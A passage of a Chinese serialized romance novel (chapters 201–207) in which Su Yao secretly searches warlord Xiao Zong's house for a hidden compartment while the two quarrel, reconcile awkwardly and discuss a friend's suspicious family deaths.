苏姚看看自己被拍开的手，被他给气笑了，这什么人啊？ 闹得好像是她的错一样。 她满腔恼怒，又带着点懊恼，来了帅府之后什么东西都还没查出来，她是不可能走的，可现在这个情形，要怎么缓解关系？ 算了，先去查电话吧，她抬脚要上楼，管家却忽然喊住了她。 “怎么，您老人家也想和我吵？” 管家连连摆手，难得的好脾气。 “不敢不敢。” 他赔着笑开口，“我是想说，少爷不是故意不理你的，他就是气得太狠了。” 苏姚嗤笑出声，“他凭什么生气？本就是他的朋友陷害我，他还无理取闹，还往我身上泼脏水，我到底哪里说他和褚英合谋了？你听听，他说的那像是人话吗？就仗着我好欺负是吧？以前欺负我，现在还想欺负我。” “气大伤身，冷静，冷静。” 管家连忙安抚，苏姚冷笑一声，扭开头不想说话，管家叹了口气，“少爷以往是有些不对，但他对你的确是真心实意的，所以你刚才的那些话，的确是误会了，少爷一片赤诚被怀疑，难免会有些生气的，还请苏小姐千万见谅。” 苏姚侧头看了他一眼，萧纵一片赤诚？ 她忍不住又想冷笑，却又忍住了，她和管家较什么劲？ 他是萧纵的人，肯定是站在萧纵那边的，难道还指望他拆穿萧纵，和自己说实话吗？ 她不想继续这个话题了，起身想回房间，管家又拦住了她，苏姚无奈，“你拦着我干什么？你别指望我上去道歉，根本不是我的问题。” 她以前道的歉实在是太多了，现在一个字都不想说。 “误会了，我是有件事想告诉你……” 管家连连摇头，脾气十分随和，说着凑到了苏姚耳边，低声说了句什么。 她不敢置信地睁大了眼睛，看向管家的目光像在看一个傻子。 “您年纪大了，眼花了吧？” “刚才靠那么近，我怎么可能眼花？” 管家矢口否认，神情严肃，“你要是不信，上去看看就知道了。” 苏姚有些迟疑，她既排斥萧纵，不想和他有过多接触，又按捺不住心里的好奇，再三犹豫过后，自尊心还是被好奇心打败了，“我先去换套衣服。” 但在那之前，她得先把电话打了。 她快步回了房间，拿起电话就拨了出去，接线员很快接了起来，苏姚压低声音，“拨刚才的那个电话。” 几秒之后，电话被接通，一道完全陌生的声音响了起来，“百乐门，您那位？” 百乐门？ 苏姚有些失望，“不好意思，打错了。” 百乐门底下有个靶场，她听沈知聿说起过，当然那不只是靶场，还有很多很重要的东西，完全值得萧纵这么保护。 只是萧纵那么神神秘秘的，她还以为…… 算了，不能急于求成。 她调整好心态，简单换了衣裳，打算去三楼看看。 门一开，却见管家正站在楼梯上，仰头朝上面看。 “苏小姐，快上去吧。” 他迫不及待地催促，听得苏姚很莫名，管家这架势，怎么好像很希望他们和好一样。 她将莫名其妙的念头压下，抬脚上楼。 房里很安静，苏姚敲了几次门都没听见有动静，萧纵不想给她开门。 也对，这男人，脾气大得很，她刚才上来的时候就该料到这种结果，她就不该被管家忽悠，萧纵这种人，怎么可能真的被…… 她没再耽误时间，转身就往楼下走，身后的门却吱呀一声开了。 萧纵沉着脸站在门口，一言不发地看着她。 苏姚扭头看过来，目光直直地落在他眼睛上。 有些红，却不是之前那种阴鸷狠厉的红，像是被揉了几下。 可是这也不能确定刚才他真的…… “你看什么？” 萧纵忽然侧开头，不许苏姚再看。 苏姚不得不收回目光，却莫名地尴尬起来，不知道为什么，她有种自己欺负了人的错觉。 “就是来问问，你的伤口有没有牵扯到。” 萧纵神情复杂地看过来，半晌他叹了口气，“一点皮肉伤，不用放在心上。” “哦。” 苏姚应了一声，尴尬地转身想走。 “我之前不相信你的时候，你也这么难受吗？” 萧纵忽然又开口，苏姚一愣，“什么？” 她其实听清楚了，只是难以想象这话真的是从萧纵口中说出来的，所以她下意识以为自己听错了。 “抱歉，” 萧纵压低声音开口，“我不知道被在乎的人冤枉，这么难受，我以前……” 他话音顿住，没能继续说下去，他以前被冤枉的时候很多，但不觉得有什么问题，利益之争，素来是不择手段的。 直到今天，他才知道，这种事情，分人的。 “抱歉。” 他又一次开口，苏姚沉默着没开口，这不是萧纵第一次和她道歉，却是最真诚的一次。 她本来以为，自己对他已经没了任何感情，不爱不恨，可现在听见这话，她却又一次的愤怒了起来，原来他也知道，那种感觉很难受啊。 她没再理他，转身就下了楼。 萧纵追上来，抬手拉住了她，“苏姚，我……” 客厅里，电话铃声急促地响了起来。 第202章 萧纵的房间 苏姚心头一跳，没顾得上再生气，目光瞬间看了过去，不会是百乐门的电话又拨了回来吧？ 心跳如擂鼓，她却一个字都不能说，只能死死盯着那电话。 萧纵嘴边的话也被打断，他下去接了电话，脸上竟露出了几分喜色，挂断电话后，他扭头看了过来，“我有事要出去一趟，回来我有东西给你。” 苏姚还没来得及说什么，他就急匆匆出了门，不多时外头就响起了发动机的声音。 车子很快消失在暮色里，苏姚回神，立刻意识到这是自己探查的机会。 她转身就想回房，一抬头，却发现萧茵不知道什么时候出来了，正站在房门前，怯怯地看着她。 这个孩子，性格也变了很多，以前没这么文静的。 但她没有时间耽误，“小姐有事吗？我很累，想休息了。” 她音量拔得很高，这话不只是告诉萧茵的，也是在告诉别的佣人，不要去她的房间。 萧茵脸色暗了下去，小声“哦”了一声。 苏姚没有片刻耽搁，回房就将房门反锁，打开窗户看了外头一眼。 远处的街道上有灯光一闪而过，紧接着是另一道车灯。 沈知聿的人已经跟了上去，她心里盼着对方能有所收获，自己现在要做的，就是趁机去查探三楼。 夜色又深了几分，等帅府各处的灯陆陆续续被关上，她悄无声息上了三楼，拆下头上的发夹，轻轻一撬，就将萧纵的房门打开了。 这里还是之前的样子，和她住在这里的时候，没有任何区别。 她一处处搜查过去。 因为不知道萧纵什么时候回来，她不得不分散注意力，听着外头的动静，许是太过紧张，她指尖隐约发麻，耳边也全是自己的心跳声。 一点嘈杂的动静却掺了进来，苏姚立刻屏住呼吸，是脚步声。 那声音越来越近，似乎是冲着三楼来的。 她侧身藏在了柜子后头，外头的脚步声停了，却并没有人进来，不是来这里，那就是去书房的。 她动作极轻地将门打开了一条小缝。 不远处的书房映入眼帘，门没有完全关上，显然刚才的确进去了人，透过两道门的缝隙，她隐约能看见有道人影在书房里翻找什么。 几分钟后，萧翼拿着一份文件，打开书房门走了出来。 苏姚立刻收回目光，萧翼这种人，常年尔虞我诈，对人的目光很是敏锐，她不敢给对方任何察觉到机会。 可萧翼的脚步还是顿住了，他回头看了身后两眼，没察觉到什么异常，这才再次下了楼。 苏姚没敢动，连开了一条缝的门都没关，只悄无声息地后退了几步，从窗户里爬回了自己的房间。 两分钟后，萧翼去而复返，一把推开了萧纵的房门，持枪对准了里面。 “出来！” 他厉喝一声，回应他的，是一片安静。 四处搜索过后，他收回了枪：“少帅走得太急了，才没关门吗？” 他嘀咕一句，关上了房门。 走到二楼的时候，苏姚端着水杯打开了门，看见他满脸的惊讶，“萧副官？你回来了？” 萧翼有些尴尬，甚至不敢去看苏姚的眼睛，因为他今天出门干的事，一件都没脸说出来。 他只好讪讪笑了一声，目光却落在了苏姚脸上，“苏小姐，好久不见啊。” 其实这句话早就该说的，但打从苏姚回来，他就没正经和对方说过话，不是不想，只是没机会，今天才终于能说出口。 “确实很久不见，你的眼睛……” 苏姚目光落在他脸上，萧翼抬手摸了下眼罩，“打仗嘛，难免的。” 从这一点来说，她还是敬佩萧翼的，不管私下里为人怎么样，大义面前，他们也不算掉链子。 “少帅也受了不少伤。” 萧翼无奈开口，苏姚倒是把这件事给忘了，是了，萧翼能上前线去打仗，自然是因为萧纵去了，不知道为什么，她竟然下意识就忽略了。 心情有些复杂，但她没有浪费时间，毕竟等萧纵回来，她就没机会了。 “你忙吧，我去倒杯水。” 她下了楼，萧翼的目光一直落在她背影上，直到她进了厨房，才恋恋不舍地收回来，大步走了。 等他一出门，苏姚立刻回房，顺着墙体从窗户里再次翻了进去。 她定了定神，观察得十分仔细，任何蛛丝马迹都没有放过，终于，墙面的敲击声给了她信息，这里面是空的。 她几乎贴在了墙上，才终于看见了上面发丝般细微的痕迹，这墙上果然有机关。 她沿着周围去找启动机制，好一通搜索之后，才终于在靠近踢脚线的位置发现了异样，她摸索摁了下去，耳边立刻传来了咔哒声，她连忙抬眼，墙面果然在移动。 只是出乎意料的是，移动的面积并不大，与其说是个暗室，倒更像是个暗格。 但好歹是有线索了。 她连忙去看，却只看了一眼就咬紧了牙，那暗格里，是个密码锁！ 萧纵这个王八蛋，三楼都看得这么严实了，密室为什么还要设这么多重保险？ 她要去哪里找这个密码？ 她恨得咬牙切齿，却很快振作了精神，密码这东西，肯定有迹可循，而最大的线索，就可能藏在…… 她转身看向门外，仿佛透过房门，看见了书房。 要去看看。 她谨慎地清理了自己留下的痕迹，包括窗台的脚印，和启动机关时留下的痕迹，随即悄无声息地往门口走去。 外头安安静静，没有任何声响，只有座钟发出了沉闷的敲击声。 一，二，三。 凌晨三点钟。 正是人困狗乏的时候。 她屏住呼吸，将门打开了一条缝，外头漆黑一片，客厅的灯都关了。 她静静等了片刻，确定听不到丝毫人声，这才开门出去，走到了书房门前。 她看不清这锁的样子，只能拧了两下，凭借声音去判断，这锁一摸就不简单，至少要比萧纵房间的锁难开得多，她深吸一口气，沉下心来将发卡插进锁孔，静静听着机关的动静。 但没过几秒，她就骤然停了手，将发卡小心翼翼地抽了出来。 这锁，连接着示警功能，强行打开，会引来很大的麻烦。 她得去找钥匙。 她陡然想起萧翼来，萧纵走了他才进去的书房，就证明他有这里的钥匙，得找机会去他那里一趟。 她收起发卡，准备回房。 刚迈开一步，客厅里的灯忽然大亮，有灯光顺着楼梯透了上来，紧接着，脚步声由远及近。 有人回来了！ 第203章 药剂 苏姚瞳孔一缩，心脏瞬间跳漏了一拍。 是萧纵回来了吗？他什么时候回来的？ 为什么没有听见汽车的声音？ 脚步声近在咫尺，容不得她多想，她迅速后退，心里无比庆幸自己的谨慎，没有因为深更半夜就放松警惕，而是给自己留了条退路。 萧纵的房门，她没有关，还用发夹挡了一下，不然她的下场只有两个，要么是进门的时候被抓住，要么是还没来得及进门就被抓住。 她迅速回了萧纵的房间，动作又轻又快地将门关上，边往窗边走，边清理自己留下的痕迹。 等她跳上窗台的时候，断断续续的敲门声传了过来。 苏姚忍不住回头，萧纵回自己的房间还用敲门？ 不，她陡然反应过来，这个声响……他不是在敲自己的门！ 敲门声之所以断断续续，不只是因为对方没用力敲，也是因为距离很远，他应该是在二楼。 深更半夜的，他总不可能去敲萧茵的门吧？ 心里狠狠骂了一声，苏姚却来不及多想，加快速度顺着墙滑到了二楼，一进自己的房间，敲门声立刻就清晰了起来。 但那声音却没有高到能把人吵醒，可若是人醒着，又绝对无法忽视。 她不知道萧纵为什么这个时间来敲自己的门，是不是察觉到了什么，却根本不敢耽误时间，连忙去浴室换睡袍，可刚走过去，门锁就“咔”的一声响。 她后心顿时涌上一股凉意，萧纵有钥匙！ 这是他的房子，他当然有钥匙，她把这事给忘了。 “我看一眼就走，你别多想。” 萧纵压低了的嘀咕声传进来。 苏姚一瞬间仿佛看见了越来越大的门缝，她又低头看看自己这一身怎么看都不像是睡觉该穿的衣裳，满脑子只有一个念头，来不及了，来不及换衣裳了…… “咔”的一声响，房门被打开。 客厅里明亮的灯光瞬间透过门洞照进来，晃得苏姚侧了下头。 下一瞬，房门被猛地推开，灯光毫不客气地闯了进来，将空荡荡的房间和床铺，照得十分清楚。 门口的人愣了一下，抬脚进了门，径直走到了床前，确定上头真的没有人之后，脸色一瞬间白了下去。 “苏姚？！” 他惊呼一声，尾音发颤。 萧翼连忙安抚他：“少帅，冷静一点，浴室里好像有人。” 萧纵这才注意到有细碎的水声，他大步走了过去，抬手敲了敲浴室的门，“苏姚，你在里面吗？” 里面没有声音，只有水声连绵不断。 萧纵抬手就去开锁，苏姚的声音这才传出来，带着几分气恼，“你怎么来了？大半夜的，你干什么？” 声音里带着惊讶和恼怒，萧纵提着的心瞬间落了地，“我是想来看看你有没有发作。” 他说着，忽然反应过来，“你这时候洗澡，是不是刚发作完？” 刚松开门锁的手再次抓了上去，似是听出了不对劲，苏姚惊叫一声，“王八蛋！” 萧翼想拦又不敢拦，想看又不敢看，只好捂着眼睛往后退了两步，却仍旧有水花扑在了脸上。 “滚出去！” 他听见了苏姚的骂声，却不知道发生了什么。 萧纵倒是看见了，他打开门的时候，苏姚拿着木勺，迎面泼了他一脸水。 他被浇了个半湿，心倒是定了下来，这么精神，应该没事。 他抹了把脸上滴滴答答的水，朝萧翼看了一眼，“你先上去吧。” 萧翼涨红着脸退了出去，一想到溅到身上的水，是苏姚的洗澡水…… 他浑身一颤，脸上的血色又浓了几分，慌慌张张地上了楼。 萧纵却没动，在苏姚床边坐了下来，顺手打开了台灯。 不多时，苏姚裹着浴袍出来，咬着牙看他。 萧纵一笑，说也奇怪，他现在看见苏姚发脾气，竟然一点都你不觉得恼怒，甚至还有些高兴，以至于现在苏姚瞳孔里的他，眼睛都是亮的。 苏姚不着痕迹地打量了一下自己，衣服已经全都脱在了浴室里，身上只剩了浴巾，不会留下任何痕迹，萧纵发现不了什么，所以他眼睛这么亮…… 她把擦头发的毛巾扔在了男人脸上，“你怎么还不走？” 萧纵将毛巾抓下来，盯着她裸露的肩头看了一眼，奇怪的是，眼底却并没有多少淫邪。 明明以前跟头恶狼一样。 “有个东西要给你。” 男人说着，从怀里拿出一盘针剂，满脸的高兴，但很快就又染上了懊恼，“我要是早回来一会儿就好了，说不定就能用上了。” 他眼里疼惜一闪而过，将针剂递到了苏姚面前。 苏姚有些呆愣，萧纵这话的意思……这针剂该不会是，针对她旧伤的吧？ 她一直以为，萧纵口中的给她治病，只是说出来狂骗人的，没想到他竟然真的会拿这么一盒针剂出来。 她现在的确没有疼到致命的程度，但如果能彻底解决…… 心里升起一股期待来，可她却迟迟没有伸手，仿佛一旦接过来，就会出现难以预料的后果一样。 可萧纵并没有给她拒绝的机会，强硬地塞进了她手里，“虽然我这话不好听，但如果你下次再发作的时候，试一试吧，如果有用，我再去给你拿。” 他终于站起来，打算离开，只是到了门口又忍不住回头，“苏姚，这件事我提过很多次了，你一直不愿意，但我还是希望你能再考虑考虑，跟我去见见医生，说不定能根治，总比一直用药压着强。” 苏姚抬头看过来，却没开口，只抓着手里那盒针剂，直到男人的背影消失在门外，她才神情复杂地收回目光。 萧纵…… 第204章 给祖宗们迁个坟 萧纵刚上楼就打了个喷嚏。 “是不是中暑了？” 萧翼紧张地看过来，“少帅最近，似乎很容易生病。” “你想多了。” 萧纵摇了摇头，说着往楼下看了一眼，心情看起来很不错，“说不定是她念叨我呢。” 他脸上露出个笑，萧翼的神情却并没有因此而放松，“您进去一趟，就没让唐小姐看看你的伤吗？那个伤口说不定……” 他目光落在萧纵胳膊上，那个伤口迟迟不好，哪怕精心护理，也没有半分愈合的样子，现在还露着猩红的血肉，看着实在是渗人。 “我怕她动手脚。” 萧纵啧了一声，“你也知道最近不太平，她也在找机会，而且……” 他回头，看向楼下漆黑悠长的楼梯，右眼微微跳了一下，“我有种预感，好像要发生什么大事了。” 萧翼身体一绷，却还是安抚萧纵，“是不是您最近太累了？本来就伤得厉害，又要和办事处，和老宅那边周旋，难免会产生什么错觉。” “希望是错觉吧。” 萧纵叹了口气，抬手开了房门，刚要进去，脚步就忽地顿住了。 见他不动，萧翼有些莫名：“怎么了？” “今天，有人上过三楼吗？” 萧翼瞬间想起这扇留了缝隙的门，“属下晚上的时候上来了一趟，当时看门没关严实，以为有人，就进来查看了一下。” “是你啊。” 萧纵没再追究，毕竟他这房间里已经没什么重要的人或者东西了，更根本的是，佣人都被管家看着，上不来，能上来的那几个，他都信得过。 “那没事了，给我换药吧。” 萧翼连忙取了药出来，给萧纵清理伤口，等收拾完，时针已经指向四点。 “明天放你假。” 萧纵含糊开口，看起来疲惫至极，萧翼道了声谢，放轻脚步退了出去，萧纵抬手揉了揉发胀的额角，眼睑一阵阵热胀，烫得有些睁不开。 萧翼说得对，他最近的确很容易生病。 但他懒得动，靠在床上混混沌沌地睡了过去，第二天醒过来的时候，头昏脑涨，难受得厉害，但他不得不坐了起来，今天应该会有很多麻烦。 念头刚落下，电话铃声就响了起来，他本不想理会，等着管家去接，没想到电话铃声停了，敲门声却响了起来，“少帅，孙处长来了，说昨天褚公子送来的东西，您还没给回复，是不是哪里不满意。” 萧纵揉了揉额角，起身下了地，“让他进来吧，我们会客厅里谈。” 管家答应一声，却没走，目光在他身上逡巡了几圈，“少爷，您脸色不太对，是不是不舒服？” “昨天睡得太晚了。” 他敷衍一句，进卫生间洗了把脸，等下楼的时候，已经看不出异样了。 孙少甫已经候在了会客室，看见萧纵出来，连忙起身迎了上来，脸上带着焦急和忐忑，“少帅，是哪里不满意吗？” “褚英是怎么说的？” 萧纵伸了伸手，示意孙少甫坐，自己也靠在了椅子上。 “褚公子今天没去办事处，我是登门探望后才知道他出了点事……” 他神情十分尴尬，隐晦地看了萧纵一眼。 萧纵倒是很坦然，“萧某虽然是个粗人，但也不会无的放矢，所以褚英是咎由自取，若是办事处要因为这个和我为难……” “言重了，” 孙少甫连忙摆手，面露苦笑，“少帅这话可真是抬举办事处了，咱们都清楚，这海城如今是您做主，我们办事处也不过是混口饭吃，哪里敢老虎头上动土？” 萧纵不置可否，他们这种人，嘴里没几个字是真的。 “鄙人说的可都是真心话。” 孙少甫似是看出了他的想法，连忙开口强调，“孙某没什么大志向，只想安安稳稳地混日子，上头的吩咐也好，同侪的情谊也罢，说到底，能交代就好，犯不着真的上纲上线，以和为贵，以和为贵嘛。” 萧纵眉梢微微一扬，这话说得太通透，太明白，反而让人有些不知如何应对了。 “说正事吧。” 他将话题扯了回来，“昨天的册子我看过了，只要再加一个小条件，我就彻底收手。” 孙少甫连忙开口，“您是不是想要迁坟？” 他并不意外萧纵会提出这个要求，毕竟萧家已经动了拿死人作伐子的心思，萧纵不可能还毫无防备。 “您放心，这件事我一定给您谈下来。” 孙少甫起身就要走，萧纵笑了笑，“别着急，你只猜对了一半。” “一半？” 孙少甫很惊讶，他实在是想不出来，这种事情，还能有别的可能。 “母亲在那地方躺了十年了，都习惯了。” 萧纵点了根烟，许是因为生病的缘故，这次他咳得更厉害，直咳得脸色涨红，嗓音沙哑，他才平复了呼吸，抽了第二口烟，“就别惊扰她了，让老东西把别的坟都迁走。” 孙少甫愣了一下，不敢置信地睁大了眼睛。 萧纵所谓的迁坟，是迁别人的坟？ “这，这不合适吧？” 他忍不住开口，“那是萧家祖坟，怕是埋着不少萧家……” “和我有什么关系？” 萧纵吐了口烟圈，压下了口中的咳嗽，这才懒扬扬开口，孙少甫一时被噎得不知道说什么好，好半晌才找到一个理由，“毕竟您也姓萧……” 萧纵嗤了一声，“我倒是不介意给他们改个姓，就怕老东西不同意。” “师座当然不会同意，您毕竟是萧家子孙，当然不能改……” 孙少甫连忙开口，话到嘴边才陡然回过味来，萧纵说的不是要自己改姓，是要给萧家的祖宗们改姓。 他的眼珠子几乎要从眼眶里蹦出来，这，这这这……这也太大逆不道了。 谁家子孙能做出这种荒唐事来？ 他活了四十年，从未听过这么荒谬的事情。 “你那是什么眼神？” 萧纵看了他一眼，“我说说而已，又没真的让他们改。” 孙少甫笑不出来，虽然他的确没这么做，但怎么看他那句话都像是认真的。 他原本还想劝劝萧纵把萧太太的坟迁出来算了，现在却一个字都没敢劝，唯恐哪句话说得不对，他真的要逼着萧远山给自家祖宗们改姓。 “我这就去和师座谈。” 他转身急匆匆走了。 萧纵靠在沙发上缓解头疼，他刚才那话的确带着几分认真，但他也清楚，做不到，除非有一天他一枪爆了那个老东西的头。 头疼越演越烈，他控制不住地闭上了眼睛。 楼上忽地3响起开门声，他浑身一颤，陡然清醒，连忙起身走了过去，果然瞧见苏姚正从楼上下来。 思绪有瞬间的恍惚，仿佛回到了很久以前。 明明是以前见惯了的场景，现在再看见，他竟然生出一点感动来。 第205章 你不能再生气了 “睡得怎么样？” 他往前走了两步，许是拿人手短的缘故，苏姚这次没有横眉冷对，反而干巴巴地扯了下嘴角，“还好。” 明明还是敷衍的样子，萧纵却忍不住笑了。 笑这么难看，还不如瞪他一眼呢。 但这话他不敢说，只好抽了口烟，掩饰了过去，却又被呛得咳了起来。 他努力平复呼吸，却察觉到有目光落在自己身上，他侧头看过去，苏姚果然正看着他。 “抱歉，” 他想起来苏姚不喜欢烟味，连忙将烟掐了，“我记得你不喜欢，但刚才和孙少甫谈话，我靠烟提个神，所以……” “没关系，我现在也习惯了。” 苏姚打断了他的话，烟的确能提神，只是有些人抽得起，有些人抽不起。 萧纵忽然抿紧了唇。 苏姚没注意他的变化，还想着打听一下他刚才和孙少甫谈了什么，斟酌着开口，“孙先生是为了昨天的褚英的事来的吗？” 萧纵沉默，安静地装哑巴。 苏姚以为他不想说，也不好再问，只能岔开了话题，“你的伤怎么样了？” 萧纵仍旧沉默，仿佛他就是个哑巴。 苏姚眉头皱了一下，孙少甫的事情不说就算了，怎么连伤的事也不说？ 她侧头看过去，就见男人正幽幽地看着她。 “你对沈知聿倒是包容，他干什么你都能习惯。” 苏姚一愣，没等反应过来萧纵的意思，对方就嘁了一声，径直从她身边走了过去。 几秒后，苏姚才反应过来他似乎是在吃醋，她又好笑又无奈地看着萧纵的背影，这个人是不是演戏上瘾了？搞得好像他真的对自己有感情一样。 她很想挤兑一句，却忽地想起了那盒针剂。 虽然不知道是不是真的有用，但拿人的手短。 她叹了口气，将嘴边的话压了下去，抬脚朝餐厅走去。 一进门，就对上了萧纵更加幽怨的目光，仿佛她是什么负心女一样。 “你看什么？” 她被看得发毛，咬牙开口，这人当初也没少出去鬼混，现在倒是介意起沈知聿来，还要不要脸。 萧纵收回目光，片刻后才开口，“沈知聿这人你别看他人模狗样的，其实一点都不干净，他在南风雅舍有个相好，回头我带你去看看。” 苏姚有些意外，沈知聿这是有心上人？自己竟然一点都不知道…… 不。 她猛地回过神来，萧纵说的话不能信。 “如果真有这么一个人，他会自己告诉我的，就不劳你费心了。” 她瞪了男人一眼，自顾自低头吃饭。 萧纵有些气恼，“你就这么相信他？男人没几个好东西，你这么相信他，肯定会被他……” “少帅，”苏姚打断了他，“是不是昨天没吵赢，所以今天还想再吵一架？” 萧纵哽了一下，嘴边的话都被噎了回去，冷不丁看见金锦进来，他像是看见了救星，“金锦，你来告诉她，沈知聿是不是在南风雅舍有个相好。” 金锦被问得一愣，茫然地“啊”了一声。 萧纵用力挤了下眼睛，咬牙道，“你忘了？还是你告诉我的。” 苏姚也抬起了头，金锦说的？ 萧纵的话不可信，但金锦不一样，她有胆气有良心，人也厚道，如果她也知道，那自己就得掂量一下真假了，要是真有这么一个人，是不是得转移，需不需要保护…… 但念头还不等落下，她就看见了金锦脸上的茫然。 虽然只是一闪即逝，下一瞬她脸上的表情就成了恍然大悟。 “对对对，是属下说的，之前属下宴请何会长的时候，见到过。” 她满脸真诚地看向苏姚，“苏小姐，少帅说的都是真的。” 苏姚被她给气笑了。 她要收回刚才的那些话，上行下效，萧纵撒谎成性，底下的人自然也没几个好东西。 “你当我傻是吧？” 她毫不客气地拆穿，一双杏眼，睁得圆溜溜地瞪着萧纵。 萧纵心虚地咳了一声，侧头避开了她的目光，又忍不住迁怒，狠狠瞪了金锦一眼，这点小事都做不好，你还有什么用？ 金锦只当没看见，自顾自仰头看天花板。 萧纵指望不上她，只好叹了口，“我胡说的，沈知聿的确洁身自好。” 要不是这个人身上挑不出任何毛病来，他当初也不会下意识地防范他。 可谁能想到，千防万防，最后苏姚还是看上了他。 苏姚没说话，只沉默地吃早餐。 她不想再发生一次昨天的争执，也不觉得萧纵这种人会意识到自己的错误。 只是编造一个谣言而已，对他而言，根本不算什么吧。 “你，是不是生气了？” 萧纵忽然开口，苏姚抬头看了他一眼，有些意外他会把这件事情挑明。 “你说的又不是我的谣言，生气也轮不上我吧？” 她不想继续这个话题，继续低头吃饭，萧纵也没再开口，沉默地看着她。 他素来是个很有存在感的人，苏姚没办法无视他的目光，只好侧头看了过去。 萧纵却忽然起身就走，苏姚有些烦躁，这个男人，还是这么阴晴不定。 她恶狠狠地用叉子扎在了煎蛋上。 男人却径直走到了电话机旁，抬手拨了个电话出去，不多时，电话被接通，他恶声恶气地开口，“对不起！” 明明是道歉，却说得好像要咬人一口一样。 话音落下，也不管对方有没有说什么，他“砰”的一声又把电话挂断了。 他再次走了回来，“我道歉了，你不能再生气了。” 第206章 不是个东西 苏姚一懵，不等她弄清楚发生了什么，电话铃声就又响了起来。 萧纵坐着没动，金锦也仿佛没听见，苏姚看了看两人，试探着站起来，“我接电话？” 萧纵“嗯”了一声，低头恶狠狠地往嘴里塞了一个煎蛋。 苏姚只觉得莫名其妙，却还是起身去接了电话，话筒一放到耳边，就听见了沈知聿的声音。 “萧纵你抽什么风？” 苏姚顿了顿才开口，“知聿，是我。” 沈知聿静了一下才再次开口，“萧纵刚才在干什么？忽然跟我道歉，那语气跟要吃了我一样。” 苏姚听见男人在电话那端叹了口气，忍不住嘴角一抽，回头看了餐厅一眼，萧纵正看着她，可在对上她目光的时候，又猛地扭开了头。 她收回目光，也跟着叹了口气，“他最近经常莫名其妙，不用理他。” “真的没事吗？” 沈知聿的语气很迟疑，哪怕看不见他的人，苏姚也能想象得到，他现在肯定是满脸的关切，“我这边有点麻烦，被困住了，一时半会回不去，你……” “放心吧，我能处理。” 她软声安抚沈知聿，正要问问他那边到底出了什么事，自己能不能帮上忙，话筒就被拿走了。 “你话怎么那么多？” 萧纵挤兑了沈知聿一句，抬手就挂了电话。 一回头，苏姚正看着他，他心虚地扭开头，几秒后才又看过来，“我这是为他好，山匪凶悍，他得专心处理，不然出点事就麻烦了。” 苏姚指尖动了动，有点手痒，这王八蛋，真以为她不知道沈知聿的麻烦是哪里来的？ 她嘴唇一动，却不等说出什么来，电话铃声就又响了，萧纵动作极快，抬手就接了起来，“你有完没完？出了门就专心办事，到处勾搭什么？” 电话那端的人似是被骂懵了，静了好一会儿才开口，“我没出门啊。” 这声音，是陈施宁。 萧纵啧了一声，收敛了火气，“你有事儿？” “是出了点事。” 陈施宁的语气很复杂，“我有个干叔叔，昨天马上风死了，他壮得跟头熊似的，我觉得这事不对劲，想请你帮我查一查。” 萧纵靠在了沙发上，“死了不是刚好，省了给你添麻烦。” “可我担心下一个是我啊。” 陈施宁的语调都拔高了，透过电话能听见他焦躁的脚步声，“这可不是第一个了，半个月前，我爹的拜把子大哥，我的干大爷也没了，你当时在养伤，我就没打扰你，可现在又死一个，剩下的就这么几个了，谁能保证下一个不是我？” 他缓了急促的语气，“我不管啊，你都能到处蹦跶了，明天我爹的洗手宴，你得来给我震场子，免得真有人盯上我。” 萧纵揉了下额角，“如果真要动你，第一个就是。” 陈施宁欲言又止，好一会儿才压低了声音，“我也怀疑是我爹下的手。” 萧纵被他气得想笑，“不管是谁，闹不到你头上就行。” 陈施宁忽然安静了，许久之后声音才再次响起来，“萧纵，你是不是知道什么？其实我一直很奇怪，你去年一走我爹就病了，你一回海城，他的病就加重了，你……” 他忽然停住了话头，半晌声音低了下去，“萧纵，我爹，有对不起你吗？” 萧纵指尖一颤，无意识地揉搓了起来。 苏姚看见了他的小动作，有些意外，她对萧纵还是有些了解的，这小动作说明他现在很紧张。 真是新鲜，萧纵这样的人，竟然也会觉得紧张。 陈家的混乱，和他有关？ “你说话啊。” 陈施宁再次开口，他似乎意识到了什么，语气又急又重。 “明天是吧？” 萧纵叹了口气，“我会过去，到时候面谈。” “好，我等你。” 陈施宁率先挂断了电话，萧纵听着话筒里的忙音，好一会儿才掏出烟来，却找了半天都没找到打火机。 苏姚抬手递过来。 萧纵看了看她才接过来，却又没点。 “抽吧。” 苏姚走远了一些，抽死你才好呢。 萧纵打了个喷嚏，苏姚吓了一跳，不至于吧，偷偷骂人也不行？ 她抿紧了唇，没敢再开口，萧纵忍了又忍，还是给自己点了根烟，一口还没吸进去，就侧头咳了起来。 苏姚回来后，头一回见他这样子，有些好奇，“你病了？” 萧纵摆摆手，“没有，你明天想跟我去陈家吗？” 当然要去了，万一唐黎就在陈家呢？ 但话不能这么说。 “陈家欢迎我吗？” 她语气委婉，“我记得这位陈爷……” “我会安排好的，” 萧纵郑重开口，“苏姚，我发誓，不会再让你受委屈。” 他狭长的凤眸看过来，大约是刚才咳嗽的缘故，眼尾泛红，没了以往的咄咄逼人，反倒透着些病态憔悴，衬得那话十分真诚。 苏姚下意识躲开，不知道为什么，她不想和萧纵对视。 她假装犹豫，几秒后才点点头，“好，我也很好奇陈园什么样子。” 萧纵笑了笑，看似很高兴，可眼底深处却带着忧虑，连夹着烟的手都很用力。 苏姚将他细微的动作收入眼中，眼底闪过一抹深思，看来陈家接连出事，真的和萧纵有关。 可他和陈施宁，是过命的交情。 苏姚垂下眸子，想起昨天拿到针剂时的恍惚，心里一哂。 萧纵啊萧纵，你还真不是个东西。 第207章 两个立场 两人各怀心思地回了餐厅用饭，吃到一半萧茵才姗姗来迟，看见苏姚也在，她挤出个笑来，小声打招呼，然后安安静静地坐在了椅子上。 苏姚有些意外她的拘谨，忍不住看了一眼。 就连心不在焉的萧纵都察觉到了。 “怎么了这是？” 他随手给萧茵夹了块鸡仔饼。 苏姚下意识开口，“她不吃肥肉。” 萧纵一顿，扭头朝她看了过来，萧茵的眼睛也亮了一下，兄妹两人，四只眼睛全都盯着她。 苏姚一顿，嘴这么快干什么？ 她低下头，假装自己刚才什么都没说。 一双筷子小心翼翼地伸了过来，将一个灌汤包夹到了她碟子里。 “你以前很喜欢的，尝尝。” 萧茵小声开口，带着点讨好，苏姚不喜欢这种感觉，她不想再和萧茵亲近，自然也不需要她讨好自己，她犹豫了一下，没有将包子夹走，但也没吃。 等她离开餐桌的时候，灌汤包还完完整整地在她碟子里。 萧茵满脸的失望，嘴边一瘪，眼眶红了。 萧纵拍拍她的头顶，“行了，有什么好委屈的？苏姚给你做饭的时候，你也没少糟蹋。” 萧茵不敢置信地抬起头，萧纵不安慰她就算了，竟然还雪上加霜，天底下怎么会有这种哥哥？ 她气得抓起筷子，将萧纵碟子里最后一块培根塞进了自己嘴里，随即气冲冲地走了。 